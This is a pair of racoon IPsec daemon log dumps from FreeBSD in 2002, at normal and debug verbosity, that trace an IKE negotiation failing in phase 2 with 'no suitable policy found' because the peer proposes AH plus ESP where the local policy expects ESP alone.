--------------------------------------------------------------------------

RACOON -F:

Foreground mode.
2002-07-30 09:04:08: INFO: main.c:168:main(): @(#)package version
freebsd-20020507a
2002-07-30 09:04:08: INFO: main.c:170:main(): @(#)internal version 20001216
sakane@kame.net
2002-07-30 09:04:08: INFO: main.c:171:main(): @(#)This product linked
OpenSSL 0.9.6a 5 Apr 2001 (http://www.openssl.org/)
2002-07-30 09:04:08: INFO: isakmp.c:1357:isakmp_open(): xxx.xxx.xxx.70[500]
used as isakmp port (fd=6)
2002-07-30 09:04:15: INFO: isakmp.c:891:isakmp_ph1begin_r(): respond new
phase 1 negotiation: xxx.xxx.xxx.70[500]<=>yyy.yyy.yyy.62[500]
2002-07-30 09:04:15: INFO: isakmp.c:896:isakmp_ph1begin_r(): begin Identity
Protection mode.
2002-07-30 09:04:15: WARNING: ipsec_doi.c:3059:ipsecdoi_checkid1(): ID value
mismatched.
2002-07-30 09:04:15: INFO: isakmp.c:2409:log_ph1established(): ISAKMP-SA
established xxx.xxx.xxx.70[500]-yyy.yyy.yyy.62[500]
spi:ac807c45add71aa6:fbc011c457a61849
2002-07-30 09:04:15: INFO: isakmp.c:1046:isakmp_ph2begin_r(): respond new
phase 2 negotiation: xxx.xxx.xxx.70[0]<=>yyy.yyy.yyy.62[0]
2002-07-30 09:04:15: ERROR: ipsec_doi.c:1001:get_ph2approvalx(): not matched
2002-07-30 09:04:15: ERROR: ipsec_doi.c:966:get_ph2approval(): no suitable
policy found.
2002-07-30 09:04:15: ERROR: isakmp.c:1060:isakmp_ph2begin_r(): failed to
pre-process packet.
2002-07-30 09:04:18: INFO: session.c:281:check_sigreq(): caught signal 2
2002-07-30 09:04:19: INFO: session.c:180:close_session(): racoon shutdown

-------------------------------------------------------------------

RACOON -Fdd:

Foreground mode.
2002-07-30 09:07:43: INFO: main.c:168:main(): @(#)package version
freebsd-20020507a
2002-07-30 09:07:43: INFO: main.c:170:main(): @(#)internal version 20001216
sakane@kame.net
2002-07-30 09:07:43: INFO: main.c:171:main(): @(#)This product linked
OpenSSL 0.9.6a 5 Apr 2001 (http://www.openssl.org/)
2002-07-30 09:07:43: DEBUG: pfkey.c:368:pfkey_init(): call
pfkey_send_register for AH
2002-07-30 09:07:43: DEBUG: pfkey.c:368:pfkey_init(): call
pfkey_send_register for ESP
2002-07-30 09:07:43: DEBUG: pfkey.c:368:pfkey_init(): call
pfkey_send_register for IPCOMP

[...]

2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:874:oakley_ph1hash_common(): HASH
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
97cbfa45 9d6136c9 c059094f 3046ca17
2002-07-30 09:07:46: DEBUG: isakmp.c:2110:set_isakmp_payload(): add payload
of len 8, next type 8
2002-07-30 09:07:46: DEBUG: isakmp.c:2110:set_isakmp_payload(): add payload
of len 16, next type 0
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.556746 xxx.xxx.xxx.70:500 -> yyy.yyy.yyy.62:500: isakmp 1.0 msgid
00000000: phase 1 ? ident:
    (id: idtype=IPv4 protoid=udp port=500 len=4 10.0.0.1)
    (hash: len=16)
2002-07-30 09:07:46: DEBUG: oakley.c:2742:oakley_do_encrypt(): begin
encryption.
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2758:oakley_do_encrypt(): pad length =
8
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
0800000c 011101f4 0a000001 00000014 97cbfa45 9d6136c9 c059094f 3046ca17
00000000 00000008
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2793:oakley_do_encrypt(): with key:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:07:46: DEBUG: oakley.c:2801:oakley_do_encrypt(): encrypted
payload by IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
a7eeef5c 6570a19e
2002-07-30 09:07:46: DEBUG: oakley.c:2808:oakley_do_encrypt(): save IV for
next:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
5dd5e325 f1e6fcf2
2002-07-30 09:07:46: DEBUG: oakley.c:2825:oakley_do_encrypt(): encrypted.
2002-07-30 09:07:46: DEBUG: sockmisc.c:421:sendfromto(): sockname
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:423:sendfromto(): send packet from
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:425:sendfromto(): send packet to
yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:570:sendfromto(): 1 times of 68 bytes
message will be sent to xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 05100201 00000000 00000044 5c23fae9
69caff06 e00b5a07 459c99d4 d41a4ef7 f4e9a8d2 cc28bebf 6fd25ff8 5dd5e325
f1e6fcf2
2002-07-30 09:07:46: DEBUG: oakley.c:2543:oakley_newiv2(): compute IV for
phase2
2002-07-30 09:07:46: DEBUG: oakley.c:2544:oakley_newiv2(): phase1 last IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
5dd5e325 f1e6fcf2 f589c125
2002-07-30 09:07:46: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2576:oakley_newiv2(): phase2 IV
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
28555ac9 47919cd4
2002-07-30 09:07:46: DEBUG: oakley.c:745:oakley_compute_hash1(): HASH with:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
f589c125 0000001c 00000001 01106002 ac807c45 f47b274e 1cbebccd d7441a4e
2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:755:oakley_compute_hash1(): HASH
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
4ebb3dd5 a02f5972 274fb122 3ea58c9e
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.559544 xxx.xxx.xxx.70:500 -> yyy.yyy.yyy.62:500: isakmp 1.0 msgid
f589c125: phase 2/others ? inf:
    (hash: len=16)
    (n: doi=ipsec proto=isakmp type=INITIAL-CONTACT
spi=ac807c45f47b274e1cbebccdd7441a4e)
2002-07-30 09:07:46: DEBUG: oakley.c:2742:oakley_do_encrypt(): begin
encryption.
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2758:oakley_do_encrypt(): pad length =
8
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
0b000014 4ebb3dd5 a02f5972 274fb122 3ea58c9e 0000001c 00000001 01106002
ac807c45 f47b274e 1cbebccd d7441a4e 00000000 00000008
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2793:oakley_do_encrypt(): with key:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:07:46: DEBUG: oakley.c:2801:oakley_do_encrypt(): encrypted
payload by IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
28555ac9 47919cd4
2002-07-30 09:07:46: DEBUG: oakley.c:2808:oakley_do_encrypt(): save IV for
next:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
756eb00a 0162c137
2002-07-30 09:07:46: DEBUG: oakley.c:2825:oakley_do_encrypt(): encrypted.
2002-07-30 09:07:46: DEBUG: sockmisc.c:421:sendfromto(): sockname
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:423:sendfromto(): send packet from
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:425:sendfromto(): send packet to
yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:570:sendfromto(): 1 times of 84 bytes
message will be sent to xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 08100501 f589c125 00000054 9efb20ea
b4964749 9fed8b66 b3d52a48 27f8be3f 9340c545 19c2bd9f 3a727d40 1e39992e
7797e0fd 7ec27388 fab9f2e3 756eb00a 0162c137
2002-07-30 09:07:46: DEBUG: isakmp_inf.c:634:isakmp_info_send_common():
sendto Information notify.
2002-07-30 09:07:46: INFO: isakmp.c:2409:log_ph1established(): ISAKMP-SA
established xxx.xxx.xxx.70[500]-yyy.yyy.yyy.62[500]
spi:ac807c45f47b274e:1cbebccdd7441a4e
2002-07-30 09:07:46: DEBUG: isakmp.c:666:ph1_main(): ===
2002-07-30 09:07:46: DEBUG: isakmp.c:218:isakmp_handler(): ===
2002-07-30 09:07:46: DEBUG: isakmp.c:219:isakmp_handler(): 316 bytes message
received from yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 08102001 fe990af1 0000013c 76f9b209
919ce0a2 de383664 35b616c1 726a7c94 32d7a814 500abea9 50824e57 457dbee0
1f5de584 dfbca6c1 ab8eab18 94426b19 c6a5b814 f71c7093 7f3e9d6f 797ec813
0fb3f604 b507f03a d0b992c8 d655654c a0badc5d 56c90f82 21f019bb 1c1861a5
44ea240f 5d465476 409fde28 2f0d9e9e 507c1588 f43a6bdc 48d64e90 af79c269
c45d3273 e4929e86 a6ae982d 2e99d9f8 20723048 6ee0022e e21886ee 55f2f730
0b07ed0f 4f34a001 11bf3119 dbc883df 95dd7b83 be475fa0 cba7e6c5 cc8ab740
a80149e1 8ac96d1d 9d4a6f54 24f510e9 500d51f4 c66b71a9 d68757f9 65cdced2
7c7e5f45 78af9dc6 834882f8 6081a76a fb50acbc a245800e 1b6051f6 9620e8cd
1bb2a20b ce850e0b 7b71cddc 4bc8e714 d3f8e787 ab2b314c cb749e52
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.727837 yyy.yyy.yyy.62:500 -> xxx.xxx.xxx.70:500: isakmp 1.0 msgid
fe990af1: phase 2/others ? oakley-quick[E]: [|hash]
2002-07-30 09:07:46: DEBUG: oakley.c:2543:oakley_newiv2(): compute IV for
phase2
2002-07-30 09:07:46: DEBUG: oakley.c:2544:oakley_newiv2(): phase1 last IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
5dd5e325 f1e6fcf2 fe990af1
2002-07-30 09:07:46: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2576:oakley_newiv2(): phase2 IV
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
54bd5a4e 41e2d3b7
2002-07-30 09:07:46: DEBUG: isakmp.c:1041:isakmp_ph2begin_r(): ===
2002-07-30 09:07:46: INFO: isakmp.c:1046:isakmp_ph2begin_r(): respond new
phase 2 negotiation: xxx.xxx.xxx.70[0]<=>yyy.yyy.yyy.62[0]
2002-07-30 09:07:46: DEBUG: oakley.c:2619:oakley_do_decrypt(): begin
decryption.
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2633:oakley_do_decrypt(): IV was saved
for next processing:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ab2b314c cb749e52
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2658:oakley_do_decrypt(): with key:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:07:46: DEBUG: oakley.c:2666:oakley_do_decrypt(): decrypted
payload by IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
54bd5a4e 41e2d3b7
2002-07-30 09:07:46: DEBUG: oakley.c:2669:oakley_do_decrypt(): decrypted
payload, but not trimed.
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
01000014 f97e334c 259db005 0b2ca0b0 8eb56996 0a000074 00000001 00000001
02000034 01020401 f17d1bfa 00000028 01020000 80040001 80010001 80027080
80010002 00020004 00465000 80030001 80050001 00000034 01030401 028a2fa8
00000028 01020000 80040001 80010001 80027080 80010002 00020004 00465000
80050001 80030001 04000018 68cd589f b6f640a9 ab51388e 739d559a d3debeed
05000064 5667f1b3 a1acea95 9fc21866 16b09c60 b6fb5011 69293d7e 5529ca69
3343df02 1857d238 eb743bc6 22525df7 56704e9b 212ff9b7 67ccfa06 f5fd33bf
3f0e51cf e3792910 bd2f905d 931c3ad4 10f8b30e a7e40354 1a2694a2 7dee64f1
a3766e7d 0500000c 01000000 c0a80537 0000000c 01000000 0a000001 00000000
2002-07-30 09:07:46: DEBUG: oakley.c:2678:oakley_do_decrypt(): padding len=0
2002-07-30 09:07:46: DEBUG: oakley.c:2692:oakley_do_decrypt(): skip to trim
padding.
2002-07-30 09:07:46: DEBUG: oakley.c:2707:oakley_do_decrypt(): decrypted.
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 08102001 fe990af1 0000013c 01000014
f97e334c 259db005 0b2ca0b0 8eb56996 0a000074 00000001 00000001 02000034
01020401 f17d1bfa 00000028 01020000 80040001 80010001 80027080 80010002
00020004 00465000 80030001 80050001 00000034 01030401 028a2fa8 00000028
01020000 80040001 80010001 80027080 80010002 00020004 00465000 80050001
80030001 04000018 68cd589f b6f640a9 ab51388e 739d559a d3debeed 05000064
5667f1b3 a1acea95 9fc21866 16b09c60 b6fb5011 69293d7e 5529ca69 3343df02
1857d238 eb743bc6 22525df7 56704e9b 212ff9b7 67ccfa06 f5fd33bf 3f0e51cf
e3792910 bd2f905d 931c3ad4 10f8b30e a7e40354 1a2694a2 7dee64f1 a3766e7d
0500000c 01000000 c0a80537 0000000c 01000000 0a000001 00000000
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.730198 yyy.yyy.yyy.62:500 -> xxx.xxx.xxx.70:500: isakmp 1.0 msgid
fe990af1: phase 2/others ? oakley-quick:
    (hash: len=16)
    (sa: doi=ipsec situation=identity
        (p: #1 protoid=ipsec-ah transform=1 spi=f17d1bfa
            (t: #1 id=md5 (type=enc mode value=tunnel)(type=lifetype
value=sec)(type=life value=7080)(type=lifetype value=kb)(type=life len=4
value=00465000)(type=group desc value=modp768)(type=auth value=hmac-md5)))
        (p: #1 protoid=ipsec-esp transform=1 spi=028a2fa8
            (t: #1 id=1des (type=enc mode value=tunnel)(type=lifetype
value=sec)(type=life value=7080)(type=lifetype value=kb)(type=life len=4
value=00465000)(type=auth value=hmac-md5)(type=group desc value=modp768))))
    (nonce: n len=20)
    (ke: key len=96)
    (id: idtype=IPv4 protoid=0 port=0 len=4 192.168.5.55)
    (id: idtype=IPv4 protoid=0 port=0 len=4 10.0.0.1)
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=8(hash)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=1(sa)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=10(nonce)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=4(ke)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=5(id)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=5(id)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1004:quick_r1recv(): received
IDci2:2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
01000000 c0a80537
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1008:quick_r1recv(): received
IDcr2:2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
01000000 0a000001
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1023:quick_r1recv(): HASH(1)
validate:2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
f97e334c 259db005 0b2ca0b0 8eb56996
2002-07-30 09:07:46: DEBUG: oakley.c:745:oakley_compute_hash1(): HASH with:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
fe990af1 0a000074 00000001 00000001 02000034 01020401 f17d1bfa 00000028
01020000 80040001 80010001 80027080 80010002 00020004 00465000 80030001
80050001 00000034 01030401 028a2fa8 00000028 01020000 80040001 80010001
80027080 80010002 00020004 00465000 80050001 80030001 04000018 68cd589f
b6f640a9 ab51388e 739d559a d3debeed 05000064 5667f1b3 a1acea95 9fc21866
16b09c60 b6fb5011 69293d7e 5529ca69 3343df02 1857d238 eb743bc6 22525df7
56704e9b 212ff9b7 67ccfa06 f5fd33bf 3f0e51cf e3792910 bd2f905d 931c3ad4
10f8b30e a7e40354 1a2694a2 7dee64f1 a3766e7d 0500000c 01000000 c0a80537
0000000c 01000000 0a000001
2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:755:oakley_compute_hash1(): HASH
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
f97e334c 259db005 0b2ca0b0 8eb56996
2002-07-30 09:07:46: DEBUG: sainfo.c:100:getsainfo(): anonymous sainfo
selected.
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1815:get_sainfo_r(): get sa info:
anonymous
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1993:get_proposal_r(): get a src
address from ID payload 192.168.5.55[0] prefixlen=32 ul_proto=255
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1998:get_proposal_r(): get dst
address from ID payload 10.0.0.1[0] prefixlen=32 ul_proto=255
2002-07-30 09:07:46: DEBUG: policy.c:216:cmpspidxwild(): sub:0xbfbff7b0:
192.168.5.55/32[0] 10.0.0.1/32[0] proto=any dir=in
2002-07-30 09:07:46: DEBUG: policy.c:217:cmpspidxwild(): db: 0x80a3c08:
192.168.5.55/32[0] 10.0.0.1/32[0] proto=any dir=in
2002-07-30 09:07:46: DEBUG: policy.c:244:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 192.168.5.55[0]
2002-07-30 09:07:46: DEBUG: policy.c:246:cmpspidxwild(): 0x80a3c08 masked
with /32: 192.168.5.55[0]
2002-07-30 09:07:46: DEBUG: policy.c:260:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 10.0.0.1[0]
2002-07-30 09:07:46: DEBUG: policy.c:262:cmpspidxwild(): 0x80a3c08 masked
with /32: 10.0.0.1[0]
2002-07-30 09:07:46: DEBUG: policy.c:216:cmpspidxwild(): sub:0xbfbff7b0:
10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:07:46: DEBUG: policy.c:217:cmpspidxwild(): db: 0x80a3c08:
192.168.5.55/32[0] 10.0.0.1/32[0] proto=any dir=in
2002-07-30 09:07:46: DEBUG: policy.c:216:cmpspidxwild(): sub:0xbfbff7b0:
10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:07:46: DEBUG: policy.c:217:cmpspidxwild(): db: 0x80b6008:
10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:07:46: DEBUG: policy.c:244:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 10.0.0.1[0]
2002-07-30 09:07:46: DEBUG: policy.c:246:cmpspidxwild(): 0x80b6008 masked
with /32: 10.0.0.1[0]
2002-07-30 09:07:46: DEBUG: policy.c:260:cmpspidxwild(): 0xbfbff7b0 masked
with /32: 192.168.5.55[0]
2002-07-30 09:07:46: DEBUG: policy.c:262:cmpspidxwild(): 0x80b6008 masked
with /32: 192.168.5.55[0]
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:2054:get_proposal_r(): suitable
SP found:10.0.0.1/32[0] 192.168.5.55/32[0] proto=any dir=out
2002-07-30 09:07:46: DEBUG: proposal.c:825:printsaproto():  (proto_id=ESP
spisize=4 spi=00000000 spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:07:46: DEBUG: proposal.c:859:printsatrns():   (trns_id=DES
encklen=0 authtype=1)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1117:get_proppair(): total SA
len=112
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
00000001 00000001 02000034 01020401 f17d1bfa 00000028 01020000 80040001
80010001 80027080 80010002 00020004 00465000 80030001 80050001 00000034
01030401 028a2fa8 00000028 01020000 80040001 80010001 80027080 80010002
00020004 00465000 80050001 80030001
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=2(prop)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=2(prop)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1170:get_proppair(): proposal #1
len=52
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=3(trns)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1311:get_transform(): transform #1
len=40
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2155:check_attr_ipsec(): life
duration was in TLV.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp768)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1170:get_proppair(): proposal #1
len=52
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=3(trns)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1311:get_transform(): transform #1
len=40
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2155:check_attr_ipsec(): life
duration was in TLV.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp768)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1213:get_proppair(): pair 1:
2002-07-30 09:07:46: DEBUG: proposal.c:892:print_proppair0():  0x80a9b30:
next=0x80a9b40 tnext=0x0
2002-07-30 09:07:46: DEBUG: proposal.c:892:print_proppair0():   0x80a9b40:
next=0x0 tnext=0x0
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:1248:get_proppair(): proposal #1: 2
transform
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:948:get_ph2approval(): begin compare
proposals.
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:954:get_ph2approval(): pair[1]:
0x80a9b30
2002-07-30 09:07:46: DEBUG: proposal.c:892:print_proppair0():  0x80a9b30:
next=0x80a9b40 tnext=0x0
2002-07-30 09:07:46: DEBUG: proposal.c:892:print_proppair0():   0x80a9b40:
next=0x0 tnext=0x0
2002-07-30 09:07:46: DEBUG: proposal.c:681:aproppair2saprop(): prop#=1
prot-id=AH spi-size=4 #trns=1 trns#=1 trns-id=MD5
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: proposal.c:681:aproppair2saprop(): prop#=1
prot-id=ESP spi-size=4 #trns=1 trns#=1 trns-id=DES
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:990:get_ph2approvalx(): peer's
single bundle:
2002-07-30 09:07:46: DEBUG: proposal.c:825:printsaproto():  (proto_id=AH
spisize=4 spi=f17d1bfa spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:07:46: DEBUG: proposal.c:853:printsatrns():   (trns_id=MD5
authtype=1)
2002-07-30 09:07:46: DEBUG: proposal.c:825:printsaproto():  (proto_id=ESP
spisize=4 spi=028a2fa8 spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:07:46: DEBUG: proposal.c:859:printsatrns():   (trns_id=DES
encklen=0 authtype=1)
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:993:get_ph2approvalx(): my single
bundle:
2002-07-30 09:07:46: DEBUG: proposal.c:825:printsaproto():  (proto_id=ESP
spisize=4 spi=00000000 spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:07:46: DEBUG: proposal.c:859:printsatrns():   (trns_id=DES
encklen=0 authtype=1)
2002-07-30 09:07:46: ERROR: ipsec_doi.c:1001:get_ph2approvalx(): not matched
2002-07-30 09:07:46: ERROR: ipsec_doi.c:966:get_ph2approval(): no suitable
policy found.
2002-07-30 09:07:46: ERROR: isakmp.c:1060:isakmp_ph2begin_r(): failed to
